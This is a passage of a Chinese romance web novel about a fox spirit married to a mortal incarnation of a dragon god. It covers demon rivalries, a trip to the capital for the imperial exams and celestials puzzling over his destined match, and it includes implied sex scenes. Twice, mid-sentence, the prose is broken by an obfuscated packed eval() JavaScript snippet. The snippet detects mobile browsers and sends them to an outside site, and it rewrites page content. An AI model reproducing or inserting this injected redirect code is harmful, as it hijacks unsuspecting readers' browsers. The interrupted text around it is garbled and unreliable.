《狐妖与上神》 3. 动心 龙霖身边觊觎他的妖物不少,比如村口的屠夫其实是只油光水滑的猫妖,菜摊前笑眯眯的大伯实则是只贼眉鼠眼的黄鼠狼。 左右这些修炼成精的妖族都打着同样的算盘:趁真龙归位之时,若能蹭到一缕龙息便是天大的造化。 真龙渡劫事关重大,整个封阳县四周是劈天盖地的阵法符文护法,将龙霖护得密不透风。即便是道行高深的大妖,没有龙霖首肯也近不得他周身三丈。 就只有白亦这一只修炼成精的狐狸得逞,得了允许近了他的身。 两人成婚一年后的梅雨季,隔壁宅院搬来条美人蛇。 那蛇妖化形给自己取了个名字叫怀曼,生得一副祸水模样,走路时腰肢扭得能漾出水来,任谁看了都觉得不是安分的主。 白亦第一眼就认出她来了,这是当年在山头和他撕咬得皮毛都秃了一块的老冤家。 怀曼倚在门框上吐信子时,他正巧提着菜篮回来,两只妖精隔着雨幕对视,彼此都没给对方好脸色。 仇人见面分外眼红。 白亦身上有个宝贝,是一颗可以将妖气藏得严严实实的浮灵珠,他装得极好,连最精明的妖都没发现端倪。 偏生怀曼红唇一勾,“狐狸精”三个字轻飘飘砸过来。白亦指尖当即想窜出利爪,撕了这长虫的皮。 怀曼在村口支了个豆腐摊,雪白的豆腐衬着她纤手玉肤,惹得过往的男人都挪不开眼,大家喊她豆腐西施。 她娇滴滴地来龙霖家送过几次豆腐,倚在门上朝他暗送秋波,将豆腐往前提了提:“龙公子,这刚做好的,可嫩着呢。” 龙霖站在门槛内,保持着恰到好处的距离:“多谢怀曼姑娘美意,只是我家娘子最不喜豆腐的味道,还是姑娘自己留着吧。” 怀曼红唇一撇,语调九曲十八弯:“这可是特意给你带的,您家那位也太自私了,只顾着自己口味。” “家中饭菜都是娘子亲手做的,她日日操劳,我倒觉得是她太惯着我了。” 怀曼忽然凑近半步,发间珠钗叮当作响:“那……若是你想吃,我现下就能进去给你露两手。” 龙霖不动声色地后退,连衣角都没让她碰到:“不必了。” 他抬手合上门缝:“我家暂时不缺厨娘。” 怀曼脸上娇媚的笑容瞬间凝固,嘴角的弧度都垮了下来。 就在这时,屋内传来一道清越的嗓音:“相公,外头是谁呀?” 龙霖说:“隔壁邻居。” 怀曼咬牙切齿地盯着眼前紧闭的朱漆大门,狠狠一跺脚。 那美人蛇后来几次三番找白亦斗法,次次都败在他手下。最后一次交手时,怀曼伤得极重,鳞片被剥落了大半,险些现出原形。 但比肉身更痛的,是自尊,作为一条美人蛇,竟在魅术上输给了一只公狐狸。 不过转念一想,白亦毕竟是狐狸精,天生的媚骨,自己输得也不算太冤。 怀曼便换了副面孔,拖着尚未痊愈的身子来找白亦,佯装恭顺地表示愿意助他一臂之力,只要事后能分得几缕龙息便好。 白亦听到“龙息”二字时,脸上闪过几分不自然——这东西他确实日日都能尝到,只是每每要付出腰酸腿软的代价。 看着怀曼故作可怜的模样,白亦突然伸手掐住她的脸蛋,他可向来不懂什么叫怜香惜玉:“龙霖整条龙都是我的,凭什么要分你一杯羹,你最好给我老实点,否则下次我就把你这张脸蛋划花。” 怀曼慌忙拍开他的手,急败坏扭着腰肢愤然离去,当即连最爱的团扇都忘了捡,她修为不高,但这张脸是她在妖界行走的本钱。 龙霖秋闱取得不凡的成绩,次年春天就是会试,书院烛火常常彻夜不熄,青衫学子们埋头苦读。 白亦懒洋洋地躺在自家院中的藤椅上,两条腿交叠着翘得老高。瓜子壳从他指尖簌簌落下,在青砖地上积成小小的山丘。 一墙之隔,怀曼也正仰面躺在榻上,脸上贴着薄薄的黄瓜片,在阳光下泛着莹润的光。 怀曼懒懒散散地开口道:“狐狸精,我说这封阳县的妖气越来越重了,都是被龙霖吸引而来,我看你多有本事能守着这只煮熟的鸭子。” 虽说妖物的确很多,都是为真龙渡劫而来,可大家都拼命捂住了妖气没泄半分,学着凡人的模样过活,也不敢随意惹事,生怕惊动九重天上的神仙,落个魂飞魄散的下场。 但妖与妖之间,感知到底不同。 白亦懒散地倚在藤椅上磕着瓜子,整只妖像是没骨头似地眯了眯眼:“那你说除了我你看龙霖搭理过哪只妖吗?” 怀曼脸上敷着的黄瓜片簌簌往下掉,她忍不住支起身子,声音里掺着三分艳羡七分酸:“你跟我说说你怎么狐媚住龙霖的,真真是好手段,他对旁的人多一眼都没有,对你才是死心塌地。” “知道就好。”白亦面上得意地回了句你知道就好,内心腹诽道,什么死心塌地,不过是绝情断欲的真龙上神,恪守着那套古板规矩罢了。 高坐云端的神明,哪懂得什么叫红尘痴缠。 白亦曾听人说过,那些高高在上的神仙最重诺言与道义,纵使沧海桑田也不会更改分毫。他想,即便化作凡人,骨子里的秉性总不会变。 正是看准了这点,当初他才以性命相挟,逼得龙霖不得不娶他——既然有了肌肤之亲,以龙霖的性子,就算没有情爱也会恪守承诺。他只要牢牢抓住这点,就能一直留在龙霖身边。 这段关系于他而言,不过是场迟早要散的露水姻缘。 等龙霖渡劫成功重归神位,他取了那片逆鳞便走。 想到这里,白亦忽然开口道:“你知道你为什么只是那些男人的一时消遣吗?” 怀曼虚心请教:“为什么?” “凡间男子总说娶妻娶贤。他们虽然生性爱风流,心里却盼着娶专一温婉的良家女子。你今日对这个抛媚眼,明日对那个送秋波,他们自然也只当是场露水游戏。” 怀曼先是若有所思地点点头,继而反应过来:“说来说去,不过是凡间男子想三妻四妾的托词罢了。什么温柔大度——若要我与人共侍一夫,我定要先撕了那负心汉的喉咙,再挖了那贱人的眼珠子。” 白亦懒洋洋地打了个哈欠:“所以啊,你妖性难改。” “那若是龙霖要纳妾呢?你也让?你别忘了,你是个男子,可不能为他传宗接代。” 白亦眨眨眼,瞳仁在阳光下缩成细线:“随他高兴。只要不休妻,纳十个八个都成。” 怀曼:“真龙上神那么俊朗之人,你真的不动心?” 白亦:“我只为逆鳞而来。” 话音未落,他感知到龙霖的气息正由远及近。袖袍轻挥间,瓜子壳霎时消失得无影无踪。 木门“吱呀”一声被推开时,白亦正挽着袖子在晾衣绳前忙碌,衣摆被秋风掀起一角。 “娘子,我回来了。” 龙霖放下书箱,自然而然地接过他手中湿漉漉的衣衫。指尖相触的刹那,他眉头倏地蹙起:“这么沉的衣服,天都要转凉了,怎么还用冷水洗?” 白亦将湿手在衣襟上随意擦了擦,甩了甩手指说:“不凉啊。” 龙霖随后握住他的手,指腹摩挲着他冰凉的指尖,脸色沉了下来,他的掌心温热干燥,将白亦的手完全包裹住:“还说不凉,得雇个婆子来才行。" 白亦低头瞧了瞧自己的手,十指修长白皙,不像是做过活计的模样。 他拽着龙霖的袖口轻轻晃了晃,声音软了几分:“别雇人了,统共也没几件衣裳,我三两下就洗完了。再说……我不喜欢家里有外人。” 见龙霖仍皱着眉,白亦又补了句:“我下次一定记得用热水。” 龙霖盯着两人交握的手看了半晌,终于妥协:“.……嗯。" 白亦悄悄松了口气,这才想起问:“相公,你今日怎么突然回来了?不是最近都住在书院里吗?” 龙霖没答话,反而问道:“这些日子,怎么不去书院看我了?” 这话却让白亦想起上次去给龙霖送衣物点心时 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龙霖解开锦帕,露出里面一对玉兰花样式的耳坠,旁边还躺着支同款花色的发钗。白亦下意识摸了摸自己空荡荡的耳垂——当初为了扮女子更逼真,他确实穿了耳洞,却总嫌坠着东西碍事。 他平日只用根素银簪随意绾发。 “给我的?”他声音有些发紧。 龙霖:“宋则给他母亲选首饰时看到的。” 日光透过玉质,在他掌心投下温润的光晕。 “我觉得很衬你。” 白亦忽然想起那个总爱挤眉弄眼的同窗,家中是做银器生意的,上次去书院就数他起哄得最欢。龙霖这般端方持重的性子,竟会与那样跳脱的人相交,倒也是桩奇事 白亦让龙霖替他戴上钗子。 龙霖将玉兰钗往白亦发间推了推,钗子没入乌发的刹那,怀曼听见龙霖低声道:“好看。” 而后那对耳坠被捏在龙霖指间:“这个也要戴么?” 龙霖问得认真。白亦犹豫片刻,还是仰起脸,任由微凉的玉饰挂上耳垂。 龙霖又是一句:“好看。” 白亦忽然想笑——这人夸起人来翻来覆去就这么两个字。 他故意问道:“你是不是就喜欢看我打扮得好看。” 龙霖没说话。 白亦指尖无意识地绕着耳坠,他觉得龙霖对他实在有些好:“那……你以后会纳妾吗?” 龙霖明显僵住了。 白亦却大方:“放心,若你真有了中意的,我绝不拦着。”耳坠随着他偏头的动作轻轻摇晃,“只是我终究是你明媒正娶的第一个,你可不能休了我。” 龙霖似乎叹了一口气:“你为何这样想?” 白亦:“我见着其他人都是这样的,那个徐员外前几日还娶了第六房小妾给他生儿子,万一我……以后生不出儿子怎么办?你会因为我生不出儿子就休了我吗?” 龙霖沉默地看他一眼。 下一刻白亦只觉腰间一紧,天旋地转间整个人已被龙霖打横抱起,他下意识环住对方的脖颈,玉兰耳坠在空中划出弧线:“做什么?” 龙霖吐出几个字:“生儿子。” 而后那对白玉耳坠便再没停过,从日头微落晃到暮色四合,最后湿漉漉地黏在白亦耳后。 白亦懒懒地伏在龙霖胸膛上,浑身布满暧昧的红痕。那张精致的脸上还残留着情动的艳色,眼尾泛红,带着餍足后的慵懒。他静静凝视龙霖沉睡的侧颜,指尖轻轻描摹对方微抿的唇线。 月光透过纱帐,在龙霖轮廓分明的脸上投下细碎的光影。白亦忽然想起狐族长老曾经说过,九重天上的神仙多是天生仙胎,修的是无情大道。七情六欲于他们而言,是修行的阻碍。 在那些高高在上的神明眼里,妖族大抵是最卑贱的存在。若刀剑相向,连眉头都不会皱一下。 白亦的指尖停在龙霖唇畔,能感受到均匀温热的呼吸。这具凡人的躯体里,沉睡着的终究是尊贵无匹的真龙神魂。 他为逆鳞而来,不该动别的心思。 4. 进京 龙霖进京赶考的日子近了,白亦低头替他收拾行装,将一件件衣物仔细叠好。龙霖推门进来时,看见床上只摆着一个包袱,不禁疑惑:“怎么只收拾我的?” 白亦的手指在衣料间微微一顿,抬起眼看他:“你要带我一起去吗?可你是去考试的......” 龙霖望着他垂落的睫毛,忽然道:“为什么不能带你去?你一个人在家,我不放心。” 白亦激动地抱住龙霖,他还以为自己只能偷偷跟去。 最终是宋则安排了进京的车队,他家大业大。同行的还有龙霖几位同窗,见他不只带着书箱,竟连“娘子”都一并带上,先是诧异地喊了声“弟妹好”。白亦抿唇低下头,耳尖微红,朝他们浅浅一笑。 车厢外传来阵阵揶揄的笑声,同窗们挤眉弄眼地打趣:“龙霖啊龙霖,若是夫子知道他最得意的门生进京赶考还带着娘子,这般儿女情长,怕是要气得胡子都翘起来喽!” 龙霖扶着白亦的手腕,稳稳将他托上马车踏板,头也不抬地应了句:“他知道。” “哦?那夫子怎么说?”同窗们顿时来了兴致,纷纷凑近追问。 车帘轻轻晃动,龙霖已经弯腰钻进车厢,说了句不关你们的事,只留下一群人在原地面面相觑。 外头的议论声渐渐嘈杂起来,有人笑骂他故作神秘,也有人故作感叹情之一字害人不浅。 马车内,龙霖的指尖无意识地摩挲着白亦的手指,听着那些飘进来的只言片语,觉得京城的秋冬应该也没那么冷了。 “当初龙霖总把父母之命挂在嘴边,成亲时也是一副勉为其难的模样,谁都以为他心有不甘。现在想来,我们都被他那张正经面孔骗了——前些日子往家跑得比谁都勤,怕是早就乐不思蜀了吧。” “换作是我,有这么好看的娘子,也得天天拴在裤腰带上带着走。”不知是谁又补了一句,惹得众人哄笑。 马车里,白亦的耳朵轻轻抖了抖,将外头的调笑一字不落地收了进去。他下意识摸了摸自己发烫的脸。 白亦看着坐在他身边的龙霖好奇地问:“你们夫子怎么说的?他……没骂你吧?” 龙霖握住他微凉的手指,眼前浮现出夫子气得涨红的脸,老人家的手指都快戳到他鼻尖上,骂他色令智昏,媳妇放在家里难道还能丢不成,又说他没事娶个这么漂亮的做什么,“不成体统”“有辱斯文”的训斥仿佛还在耳边。 “他说我们感情很好。”龙霖面不改色地捏了捏白亦的指尖。 进京赶考的路走了大半个月,中途在河边休憩时,宋则和几个同窗坐在石头上啃干粮。河对岸的龙霖却有人替他擦汗,整理衣襟。同样是硬邦邦的饼子,偏生有人用手帕托着,时不时还替他擦擦嘴角。 两个人你喂我一口,我喂你一口,最后白亦干脆靠在龙霖肩头,不知说了什么,惹得龙霖低头浅笑。 阳光透过树叶斑驳地落在他们身上,养眼得很。 宋则机械地嚼着嘴里的饼,突然觉得喉咙发紧。他转头看向同样呆住的同窗们,干巴巴道:“这饼......怎么突然这么难吃?” 几个书生望着不远处身影,不约而同地点头。 有人小声嘀咕:“突然觉得......成亲好像也不错?“ 其他同窗皆赞同地点头。 行至一处繁华镇子,天色已晚,一行人决定在客栈落脚。白亦正要下车,龙霖却忽然拦住他,取出一袭轻纱,仔细为他系上。薄纱掩去了大半面容,只余下一双灵动的眼睛,在暮色中忽闪。 “别随便摘下来,”龙霖替他理了理纱角,“跟紧我,别乱跑。” 白亦不习惯地拨弄着面纱,小声嘟囔:“我又不是小孩子……” 他声音闷在纱里,带着几分委屈。龙霖没答话,只是握紧他的手往客栈走。 宋则瞧见白亦这副装扮,在龙霖身旁欲言又止。龙霖说以防万一。 简单的四个字,让宋则想起那张令人过目难忘的面容,顿时了然。街边灯笼的光透过面纱,在白亦脸上投下朦胧的光晕,引得路人频频侧目。龙霖不动声色地将他往身边带了带,挡去了大半视线。 白亦对周遭的一切都充满新奇。他虽曾到过人间,却只在封阳县那方寸之地停留过,关于凡尘俗世的所有认知,都来自狐族前辈们口耳相传的故事。 此刻他眼睛亮晶晶的,恨不得将整条街的景致都装进眸子里。 龙霖领着他踏入客栈,木楼梯吱呀作响。一进客房,白亦就迫不及待地扯下面纱,深深吸了口气。 龙霖吩咐小二送热水上来,氤氲的热气很快弥漫了整个房间。 “过来脱衣服,洗澡。”龙霖试了试水温说道。 白亦却抱着枕头摇头:“现在不想洗。” 龙霖诧异地看着他,平日里白亦最爱干净,赶路时沾点灰尘都要掸半天。 “怎么了?” “只是有些累。”白亦往床榻里缩了缩,龙霖以为他是舟车劳顿,便不再勉强,自己解开外袍的系带。 龙霖当然不会避着白亦,两人平日里最亲密的事都做过了。 白亦看着龙霖脱衣精壮的后背,脸微微发热,平日里龙霖最是端方自持,最出格的大概就是和他在书房里厮混过几次,除了在情香作祟,才让白亦见识到他骨子里的强势与占有欲,平日里简直是端方禁欲的正人君子。 白亦这一闭眼是真的睡了过去,等到白亦醒来,房间里没有龙霖的身影。 白亦刚才不想去沐浴,就是敏锐地捕捉到空气中浮动的妖气,细微却明确地朝他逼近。他推开雕花木窗,掌心金纹在夜色中泛起幽光,倏地伸手向虚空一抓,竟掐住了一只化形的小妖的脖颈。 “活腻了?”他眯起眼睛,指尖微微收紧。 那小妖被掐得面色发青,却在看清白亦面容后露出恍然的神色:“原来你也是妖?既然大家都是为真龙之气而来......各凭本事罢了......” 白亦手腕突然传来刺痛,被蜘蛛精的毒爪划过肌肤,伤口立刻泛出诡异的黑紫色。他下意识松手,那妖物便趁机化作黑雾遁走。望着腕间蔓延的毒痕,白亦施法阻隔住,很快那点毒便清除出去。 白亦本就没动杀念,他不想闹出什么动静。只是那小妖显然将他错认成了凡人,以为是个好拿捏的软柿子。 他指尖摩挲着腰间香囊袋里那颗莹润的浮灵珠,妖气被遮掩得严严实实。那些觊觎龙息的小妖们奈何不了龙霖,便都冲着他来——他副人畜无害的模样,倒真被当成了任人宰割的凡夫俗子。 看来,还是得借那人的龙息挡一挡。白亦望着腕间未消的黑痕,轻轻叹了口气。 窗外树影婆娑,仿佛还藏着无数双窥探的眼睛。 房门突然被推开,龙霖端着晚饭走进来。见白亦坐在床沿出神,便唤他过来用膳。白亦慢吞吞吃完,忽然伸手抱住龙霖的腰,沉默片刻后,手臂缓缓攀上他的脖颈。 “相公......”他在龙霖耳边轻声唤道,吐息温热。 自从扮作凡人女子,白亦便鲜还是恪守矜持二字——既因每次都被折腾得够呛,又碍着面子。而龙霖也不知何时起,竟也默契地不再提起这档子,明明他一开始很喜欢的,现在两人几乎很久才做一次。 是真的厌倦了吗?所以连他主动一次都拒绝了。 此刻客栈外妖气浮动,那些觊觎龙息的精怪正虎视眈眈。白亦需要他的龙息护体,却见龙霖垂眸望来,眼底平静无波。修长的手指将他缠绕的手臂轻轻拨开:“明日还要赶路,我们还是早些歇息吧。” 白亦盯着龙霖铺床的背影,胸口突然窜起一股无名火。不过是求个龙息罢了,方才那人看他的眼神却有些为难,而后转开视线,重新变得淡漠。 今夜是白亦第一次背对着龙霖躺下。 白亦把半张脸埋进枕头,听着身后平稳的呼吸声,忽然觉得秋夜的被褥格外凉。 窗外的精怪吵嚷不休,叫嚣着要分食他的元神,占据他的肉身,这一路怕是都不得安宁。白亦心烦意乱地蜷缩着,忽然感到龙霖的手搭上他的肩膀:“别闹了,夜深了。等到了上京......” 话音未落,白亦反手掐诀,一道昏睡咒就让龙霖沉入梦乡。既然要不来龙息,不如自己杀个痛快——横竖今晚谁都别想睡。 白亦翻身下床,指尖凝出一道寒光。白亦推开窗棂,长剑在掌心显形的刹那,窗外叫嚣的妖物突然静了一瞬。 夜风卷着血腥气扑面而来,月光在剑锋上淬出一线冷芒。 天光微明时,白亦才拖着疲惫的身子回来。裙摆沾满泥泞,脸色苍白如纸,他毁了衣物。轻手轻脚地爬上床榻,伤口被牵动时疼得蹙眉——到底是受了些伤,此刻连指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400970|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖都泛着寒意。 醒来时,龙霖正坐在床边看书,桌上摆着冷掉的早膳。 “什么时辰了?”白亦哑着嗓子问。 “车队快出发了。”龙霖答道,声音平静。 白亦正要起身更衣,忽听龙霖开口:“昨夜......你出去了?” 他心头一跳,面色又白了几分,暗自惊疑法术是否失效。 却见龙霖指尖捏着一枚干瘪的蒺藜——这东西,本不该出现在客房的地板上。晨光透过窗纱,将那枚带刺的果实照得格外清晰。 “这一路都没见过蒺藜,怎么会出现在房里?” 白亦心知肚明——定是昨夜在密林厮杀时,不小心沾在裙角带回来的。他低头搅动着粥,故作轻松:“许是小二打扫时带进来的。快些用膳吧,别让车队久等。” 龙霖望着妻子单薄的背影,没有说破那枚蒺藜是在锦被间发现的。 “你当真无话与我说?”他声音沉了几分。 白亦抬眼见龙霖神色肃然,胸口突然发闷。若不是这人吝啬龙息,自己何至于带伤而归?此刻竟还要受他盘问。瓷勺磕在碗沿,他索性撂下筷子,默不作声地收拾起行装。 龙霖:“你不吃了吗?” “不吃了。”白亦闷声应道,手上收拾的动作未停。 龙霖眉头皱得更紧:“昨夜当真没出去?我不喜人欺瞒。这屋里就你我二人,你究竟去了何处?” 这话像根针,猛地扎进白亦心底最敏感处。他倏地抬头——成亲以来头一遭对龙霖发了火。眼前人那副不依不饶的追问模样,让他心头很不舒服。包袱往床榻上一掷,转身就要走。 “面纱。”龙霖一把扣住他手腕,“戴上再出去。” 指尖力道不轻不重,恰是让白亦挣脱不得的程度。 龙霖的手刚搭上白亦的手腕,就感觉指腹下触到一块异常的肿胀,白亦猛地抽回手,疼得眉头一皱,龙霖立刻抓住他的手腕,掀开袖子一看,昨晚被蜘蛛咬过的地方已经黑紫一块,周围的皮肤泛着不正常的青灰。 “怎么弄的?” 白亦别过脸,眼眶微微发红,声音低了下去:“昨晚被蜘蛛咬了……我偷偷出去采药,不想吵醒你。”他顿了顿,又补了一句,“你刚才还凶我。” 龙霖一怔,胸口那股急躁瞬间散了。他松开力道,拇指轻轻蹭过白亦的手背,低声道:“……抱歉。” 白亦踏下楼梯,进马车时未作丝毫停顿。宋则的招呼声刚滑到唇边,那道身影已掀开车帘,消失在晃动的青布之后。 不多时,龙霖自楼上下来,宋则一句“弟妹这是怎么了,你惹人家生气了”,刚问出口,便见他目光仍黏在马车的方向,嗓音低哑:“我们来时的路上,可有采药之处?” “你糊涂了?”宋则皱眉,“这一路尽是竹林平野,哪来的草药?除非——是三日前的山道旁?你问这作甚?” 龙霖摇头,只道:“无事。” 此后一路至上京,白亦气都未消。京中专为考生备了宿处,可龙霖仍赁下一方僻静小院。 龙霖雇来的婆子手脚麻利,却让白亦胸口又堵上一股闷气,白日里他什么法术都用不了,那李婆婆初见白亦时,眼睛一亮,皱纹里堆满惊叹,直夸他生得俊俏,倒让白亦不好发作,只得抿唇不语。 他前些日子伤得不轻,这几日大多时候都蜷在床上,昏昏沉沉地睡。 龙霖初入学监,早出晚归,人影都难见,唯有桌上偶尔多出的糕点与药包证明他回来过。 夜深时,白亦半梦半醒间总感觉有人轻轻碰他的额角,手指微凉,却又很快收回,像一场错觉。 原本白亦到了上京气已消了大半,可如今多了个婆子,一举一动都被人盯着,连半点法术都施展不开。 偏生没过几日,他随李婆婆上街采买时,竟在豆腐摊前瞧见了怀曼。 白亦不动声色地凑近,指尖敲了敲案板,要了块嫩豆腐,嘴里却低低哼出一句密语—— “你们跟得也太紧了吧。” 怀曼依旧眼波流转的好模样,压低嗓音,将字句化作密语钻进白亦耳中,那日血染密林虽未惊动九重天得神仙,却被不少妖族看见了,你妖气不显,都以为你修为了得,不过你真能守住真龙吗? 白亦的指节骤然发白,指甲深深陷入掌心,连疼痛都浑然不觉。 5.情缘 怀曼的红唇微微勾起,满意地看着白亦的脸色一寸寸沉下来,她拖长了音调:“而且——你现在负伤了是吧?最近还是不要出门了吧。” 白亦的喉咙发紧:“你为什么要告诉我这些事......” 怀曼忽然笑了,眼底闪烁一抹兴味:“毕竟我们认识这么多年了,虽然有不愉快,还算有些交情。” 她的笑容忽然加深,露出一点尖尖的犬齿:“我就想留下来看看,等到真龙归位那天,你们斗得你死我活,究竟谁能得到机缘......” “若是谁都讨不着好,他会不会......独独念着旧情,留你一命呢?” "不会。" 白亦的声音很轻,斩钉截铁地截断了她的话尾。他眼底浮起某种近乎悲凉的笃定:“若他知晓我是妖,是不会留我的。” 神仙不会对妖存半分恻隐之心。 怀曼说:“话别说这么早嘛。” 白亦到底还是被怀曼的话影响。 那话语如同毒藤般缠绕心头,越勒越紧。 他很清楚,待到真相撕裂的那日,他既非龙霖明媒正娶的未婚妻,更非娇柔女儿身,只怕那人会当场拂袖而去,连片衣角都不愿被他这妖物沾染。 光是想象龙霖得知真相后立刻翻脸的样子,就让他胸口发闷。 “我有些不舒服了,先回去了,婆婆你再买些东西吧。” 他低声对李婆婆说完,转身往回走,伤势未愈,脚步都有些虚浮。 刚走出几步,前方人群突然骚动起来,伴随着急促的马蹄声和惊叫声。一匹失控的马竟直直冲进了闹市,人群突然如潮水般惊惶退散—— 马蹄声如雷贯耳,踏碎满街叫卖声。 马嘶鸣着冲进闹市,鬃毛飞扬如燃烧的黑焰,撞翻的箩筐在半空泼出鲜红的辣椒,马背的青年着急说着快闪开。 街心传来孩童撕心裂肺的啼哭,小小的身影在扬尘中瑟瑟发抖。 白亦快步上前将孩子揽在怀中,就在此时,已经完全不听指令的马被骑手勒住转变方向。 白亦五指骤然收拢,又送开, 孩子的母亲跌跌撞撞扑来,泪痕斑驳的脸上堆满感激,抱着孩子连连向白亦躬身。 白亦正要转身隐入人群,忽被一柄描金折扇拦住去路。抬眼只见青衣公子广袖流云,腰间玉坠叮咚,身后侍卫如雁阵排开。 “多谢姑娘出手相救。”那人含笑作揖,锦缎衣袖气度不凡。 那年轻男子慌忙翻身下马,目光触及青衣男子时明显瑟缩了一下,低低喊了声“兄长”。却在瞥见白亦的瞬间眼睛一亮,可白亦根本无心理会,匆匆点头便隐入人群。 “皇……兄长,”邵献指着白亦离去的方向,声音里掩不住的惊艳,“那姑娘生得也太标致了!” 邵宵没有接话,只是望着那个远去的背影,不动声色地朝身后侍卫使了个眼色。待转过头来,语气骤然转冷:“你今日闯的祸,自己去领罚。” 邵献顿时缩了缩脖子,像被掐住后颈的猫儿般噤了声。 白亦拖着疲惫的身子回到小院,盘腿坐在榻上调息。 强行催动法术的反噬让他浑身发冷,最终蜷缩着昏睡过去。不知过了多久,朦胧间嗅到一缕熟悉的墨香,丝丝缕缕缠绕在鼻尖,竟让骨子里的疼痛都减轻了几分。 龙霖不知何时回来的,或许只是抽空回来用个晚膳。 白亦刚想开口询问,却猝不及防被揽入一个温暖的怀抱。龙霖的下巴抵在他发顶,嗓音低哑:“别再折磨我了。” 白亦沉默片刻,他想他没折磨龙霖,轻声问:“今日可要在家休息。” 若是能汲取些龙息,或许这蚀骨的疼就能缓解。 龙霖将他搂得更紧了些,叹道:“嗯,以后你不想说的,我不问便是。” 白亦忽然仰头吻上龙霖的脸颊。感受到对方下意识的躲闪,他眯起眼睛,指尖抵在龙霖胸口:“今夜若推开我,往后都别想同房了。” 语气轻软,却字字都是威胁。 晨光透过窗纱,在凌乱的床榻上投下斑驳的光影。白亦独自醒来,身侧的被褥早已凉透。他撑起身子,虽然四肢酸软得厉害,精神却异常清明——昨夜汲取的龙息在经脉中流转,驱散了连日来的疲惫。 只是稍一动作,某个过度使用的地方便传来隐秘的酸痛。 他蹙着眉挪到梳妆台前,指尖掠过发梢时,突然发现首饰盒里多了几副精巧的耳坠,在晨光中泛着温润的光泽。 房门吱呀一声被推开。 龙霖身着素白长衫,端着早膳走了进来。见他已起身,便将食盒轻轻放在桌上:“怎么不多睡会儿?” 白亦说睡不着了。 龙霖声音里带着清润:“李婆婆说你昨日出门了。若是觉得闷,我往后多回来陪你。” 白亦执起竹箸:“相公,我更喜欢一个人待着。” “一个人”三个字上加重了语气,这院子里多出的外人,终究是碍了白亦的事。 龙霖的掌心覆上他的手背,温热干燥:“你一个人在,我不放心。” 白亦抽回手,不赞同道:“从前我都是一个人的,能料理家务,还能给村民看病。你是不是……还是不相信我。” 龙霖神色一滞,随即摇头:“我只是怕你太累了,想找人分担。” 白亦蹙起眉头。 他本不是温顺性子,这些时日强装贤惠已耗尽了耐心,那日被龙霖质问时的狼狈还历历在目,如今又这样轻描淡写揭过,是不是不在意才会原谅得如此轻易。 白亦心里不痛快都摆在脸上。 饭吃到一半,他突然搁下竹筷,抬眸直视龙霖:“你是不是...从来都没喜欢过我?” 龙霖明显怔住:“怎么突然这么问?” 见白亦不说话,龙霖又补充道:“你是我娘子,怎么会这么问。“ 白亦心想,他来了人间这么久,怎么会不知道“娘子”这个称呼,不过是个名分罢了,跟喜不喜欢有什么关系。 白亦自己也不明白究竟在期盼什么。是缠绵的情话?还是炽热的真心? 亦或是......永远都不可能属于一个妖物的相守? 此后他很少踏出院门,守着四方小院,看日影西斜。 三月的上京仍带着料峭春寒,白亦踮起脚为龙霖系紧披风带子。龙霖抬手抚过他微凉的脸颊,温声让他回屋。 李婆婆望着龙霖远去的背影连连夸赞,说这般稳重有才的郎君定能高中。白亦只是温柔地笑着,轻声道了句“老天保佑”。 春闱放榜那日,龙霖的名字高悬会元之位。殿试时更是一举夺魁,锦绣文章连天子都击掌称赏。琼林宴上觥筹交错,他醉得厉害,最后还是宋则扶着回来。 宋则考得也不错,名次靠前。 龙霖一见到白亦,整个人就软绵绵地伏在他肩上,嘴里含糊不清地嘟囔着什么。 白亦拍了拍龙霖的后背,宋则笑着对白亦说:“弟妹,龙霖今天高兴,多喝了几杯。你是没看见,他今天可是宴会上最风光的一个,甚至都有人来打听新科状元成婚了没,甚至连当今陛下的静竹公主也专门为了见龙霖一面到了琼林宴上。” 白亦眉头一皱:“静竹公主?” 宋则这才意识到说漏了嘴,尴尬地挠挠头:“啊……那个……弟妹你别多想,龙霖对你可是一心一意的,绝对不是那种见异思迁的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403808|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他干笑两声,赶紧转移话题:“要不我先帮你把他扶进去?” 白亦心中存疑,将“静竹公主”这个名字暗自记在心底。待宋则把人送到了房内告辞后,白亦拧了热毛巾,细细为龙霖擦拭额头,顺着龙霖俊挺的鼻梁一路往下,白亦转身拧帕子,忽觉背后一阵清风拂过。 两名白衣仙人不知何时已立于房中,衣袂无风自动。 他背对着仙人,手上动作未停,转身重新给龙霖擦拭地时候帕子却不着痕迹地移向龙霖的颈脉。指甲在阴影中悄然变长,泛着妖异的冷光。 若真被发现,至少……至少能用龙霖换条生路。 身后传来司命仙君疑惑的轻咦,书页翻动的沙沙声在静夜里格外清晰:“怪哉,龙霖上神命簿中分明无命定之缘前的情缘记载……” 另一道仙音接道:“那这凡间女子,究竟从何处冒出来的?” 白亦紧绷的背脊微不可察地松了松——他们尚未察觉他的妖族身份。 他刚暗自舒了口气,却听司命身旁那位神仙懒洋洋开口:“啧啧,当了凡人就是不一样,连万年铁树都能开花。”那声音带着玩味,“这小娘子温柔体贴,身段又好,难怪龙霖把持不住。” 白亦擦拭的动作几不可察地僵了僵。 “司晨上仙!”司命急声喝止,“慎言!龙霖上神此番下凡是为历情劫,命定之人当是静竹公主才对。” 话音未落,命簿又哗啦啦翻动几页,似在确认什么。 司晨手中摇动的玉骨折扇骤然停住:“静竹?莫不是......” 